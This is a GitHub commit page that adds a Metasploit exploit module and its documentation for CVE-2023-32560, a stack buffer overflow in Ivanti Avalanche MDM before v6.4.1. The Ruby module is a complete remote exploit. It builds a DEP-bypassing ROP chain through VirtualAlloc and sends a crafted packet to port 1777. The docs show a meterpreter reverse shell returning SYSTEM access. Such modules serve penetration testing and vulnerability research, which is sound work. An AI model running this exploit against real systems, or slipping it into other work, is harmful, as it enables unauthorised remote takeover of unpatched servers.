Skip to content

Commit 23dc1a4

Browse files
Land rapid7#18321, Add Ivanti Avalanche MDM Buffer Overflow Exploit (CVE-2023-32560)
2 parents 2ed8b93 + cf4757a commit 23dc1a4

File tree

2 files changed

+245
-0
lines changed

2 files changed

+245
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
## Vulnerable Application
2+
3+
Ivanti Avalanche powered by Wavelink is a mobile device management system. Network security
4+
features allow you to manage wireless settings (including encryption and authentication),
5+
and apply those settings on a schedule throughout the network. Software distribution features
6+
allow you to schedule software distribution to specific devices from the Avalanche Console.
7+
Avalanche also provides tools for managing alerts and reports.
8+
9+
This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before `v6.4.1`.
10+
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
11+
which could result in arbitrary code execution with the `NT/AUTHORITY SYSTEM` permissions.
12+
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
13+
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
14+
Upon successful exploitation the attacker gains full access to the target system.
15+
16+
The original analysis and the vulnerability discovery is done by the Tenable.
17+
Check [here](https://www.tenable.com/security/research/tra-2023-27) for public advisory.
18+
19+
## Installation
20+
The software requires a version of MSSQL Server to be installed. The installation
21+
instructions use MSSQL Server 2012, but 2016 and 2017 worked for my setup. Ensure that
22+
`SQL Server and Windows Authentication Mode` is selected as the default for
23+
server authentication. This can either be done at installation or via
24+
SQL Server Management Studio, available from https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms.
25+
26+
1. Open SQL Server Management Studio and connect to the instance
27+
2. Right click on the instance and select `Properties`
28+
3. Click the `Security` page
29+
4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok`.
30+
5. Open SQL Server Configuration Manager -> SQL Server Network Configuration -> Protocols for MSSQLSERVER -> TCP/IP
31+
Change from Disable to Enabled.
32+
6. SQL Server Configuration Manager -> SQL Server Services -> Stop all Services -> Start just the SQL Server (MSSQLSERVER) service.
33+
7. Go back to SQL Server Management Studio.
34+
8. Security -> Logins -> sa -> Right click -> Select Properties -> Status -> Toggle Login to Enabled -> Ok
35+
9. Execute the following SQL statement in SQL Server Management Studio: `ALTER LOGIN sa WITH PASSWORD = 'theSAUser123';`
36+
10. You should now be able to run the installer and set the hostname to `127.0.0.1`,
37+
set the username to `sa`, and the password to `theSAUser123`.
38+
11. Now you can proceed to installing the Ivanti Avalanche MDM software.
39+
40+
For installing the vulnerable Ivanti Avalanche MDM version follow the steps below,
41+
1. To obtain the vulnerable versions of the MDM setup, first create a customer account at
42+
[Ivanti](https://success.ivanti.com/customers/Community_RegStep1_Page?lp=register) (trial license is sufficient)
43+
2. Navigate [here](https://www.wavelink.com/Download-Avalanche_Mobile-Device-Management-Software/)
44+
and download any version **below** `v6.4.1`
45+
3. Follow the installation steps.
46+
47+
After these steps, the MDM service should be accessible on port 1777.
48+
**Note: If MDM port is not listening or unresponsive, try restarting the 'Wavelink Avalanche Manager' service.**
49+
50+
In case the above doesn't work, instructions for installing Ivanti Avalanche can be found
51+
[here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced)
52+
53+
## Verification Steps
54+
55+
1. msfconsole
56+
2. Do: `use exploit/windows/misc/ivanti_avalanche_mdm_bof`
57+
3. Do: `set RHOST [IP]`
58+
4. Do: `run`
59+
5. You should get a session.
60+
61+
## Options
62+
63+
## Scenarios
64+
65+
```
66+
msf6 > use exploit/windows/misc/ivanti_avalanche_mdm_bof
67+
[*] Using configured payload windows/meterpreter/reverse_tcp
68+
msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > set rhosts 192.168.56.109
69+
rhosts => 192.168.56.109
70+
msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > set lhost 192.168.56.1
71+
lhost => 192.168.56.1
72+
msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > run
73+
74+
[*] Started reverse TCP handler on 192.168.56.1:4444
75+
[*] 192.168.56.109:1777 - Connecting to target...
76+
[*] 192.168.56.109:1777 - Sending payload...
77+
[*] Sending stage (175686 bytes) to 192.168.56.109
78+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.109:49967) at 2023-08-25 19:15:42 +0200
79+
80+
meterpreter > getuid
81+
Server username: NT AUTHORITY\SYSTEM
82+
meterpreter >
83+
84+
```
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Ivanti Avalanche MDM Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.
18+
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
19+
which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.
20+
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
21+
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
22+
Upon successful exploitation the attacker gains full access to the target system.
23+
24+
This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module
29+
'A researcher at Tenable' # Discovery
30+
],
31+
'References' => [
32+
['CVE', '2023-32560'],
33+
['URL', 'https://www.tenable.com/security/research/tra-2023-27'],
34+
['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']
35+
],
36+
'DefaultOptions' => {
37+
'EXITFUNC' => 'thread'
38+
},
39+
'Platform' => 'win',
40+
'Arch' => ARCH_X86,
41+
'Payload' => {
42+
'BadChars' => "\x3b"
43+
},
44+
'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],
45+
'Privileged' => true,
46+
'DisclosureDate' => '2023-08-14',
47+
'DefaultTarget' => 0,
48+
'Notes' => {
49+
'Stability' => [CRASH_SAFE],
50+
'Reliability' => [REPEATABLE_SESSION],
51+
'SideEffects' => []
52+
}
53+
)
54+
)
55+
56+
register_options(
57+
[
58+
OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])
59+
]
60+
)
61+
end
62+
63+
def check
64+
begin
65+
connect
66+
rescue StandardError
67+
print_error('Could not connect to target!')
68+
return Exploit::CheckCode::Safe
69+
end
70+
res = sock.get_once
71+
72+
if res =~ /p\.guid/
73+
return Exploit::CheckCode::Appears
74+
else
75+
return Exploit::CheckCode::Safe
76+
end
77+
end
78+
79+
def exploit
80+
expected_payload_size = 622
81+
82+
# This is a custom ROP chain for bypassing DEP via VirtualAlloc
83+
rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;
84+
rop_chain += [0x00001000].pack('V') # flAllocationType
85+
rop_chain += [0x00499ac0].pack('V') # pop eax ; ret ;
86+
rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry
87+
rop_chain += [0x00566650].pack('V') # pop ecx ; ret ;
88+
rop_chain += [0x00000040].pack('V') # flProtect
89+
rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ;
90+
rop_chain += [0x00000320].pack('V') # dwSize
91+
rop_chain += [0x00402323].pack('V') # pop ebp; ret
92+
rop_chain += [0x0055642a].pack('V') # pop eax; ret
93+
rop_chain += [0x0052ad90].pack('V') # pop esi; ret;
94+
rop_chain += [0x0042792f].pack('V') # jmp [eax]
95+
rop_chain += [0x00521907].pack('V') # pop edi ; ret ;
96+
rop_chain += [0x00568968].pack('V') # ret ;
97+
rop_chain += [0x004995ab].pack('V') # pushad ; ret ;
98+
rop_chain += [0x00499c20].pack('V') # push esp ; ret
99+
100+
# Because of the compiler optimized `qmemcpy`
101+
# we are not able to directly return to out smashed stack.
102+
# This buffer re-arranges the entire stack for escaping
103+
# the longass function without crashing.
104+
buf = Rex::Text.rand_text_alpha(136)
105+
buf += [0].pack('V') # set empty register
106+
buf += [0].pack('V') # set empty register
107+
buf += [0].pack('V') # stack alignment buffer
108+
buf += [0].pack('V') # stack alignment buffer
109+
buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;")
110+
buf += [0x00583900].pack('V') # .data section scratch space
111+
buf += [0x00583900].pack('V') # .data section scratch space
112+
buf += [0x00585858].pack('V') # .data section scratch space
113+
buf += [0x00585857].pack('V') # .data section scratch space
114+
115+
# ==================
116+
name1 = 'h.mid'
117+
value1 = "\x30"
118+
119+
name2 = 'h.cmd'
120+
value2 = "\x31\x39"
121+
122+
name3 = 'p.waitprofile'
123+
value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)
124+
125+
item1 = [2].pack('N')
126+
item1 += [name1.length].pack('N')
127+
item1 += [value1.length].pack('N')
128+
item1 += name1 + value1
129+
130+
item2 = [2].pack('N')
131+
item2 += [name2.length].pack('N')
132+
item2 += [value2.length].pack('N')
133+
item2 += name2 + value2
134+
135+
item3 = [101].pack('N')
136+
item3 += [name3.length].pack('N')
137+
item3 += [value3.length].pack('N')
138+
item3 += name3 + value3
139+
140+
hp = item1 + item2 + item3
141+
if hp.length % 16 != 0 # Add padding if not power of 16
142+
hp += ("\x00" * (16 - (hp.length % 16)))
143+
end
144+
145+
preamble = [hp.length + 16].pack('N')
146+
preamble += [item1.length + item2.length].pack('N')
147+
preamble += [(hp.length + 16) - 0x3b].pack('N')
148+
preamble += [0].pack('N')
149+
150+
packet = preamble + hp
151+
152+
print_status('Connecting to target...')
153+
connect
154+
res = sock.get_once
155+
fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?
156+
157+
print_status('Sending payload...')
158+
sock.put(packet)
159+
disconnect
160+
end
161+
end

0 commit comments

Comments
 (0)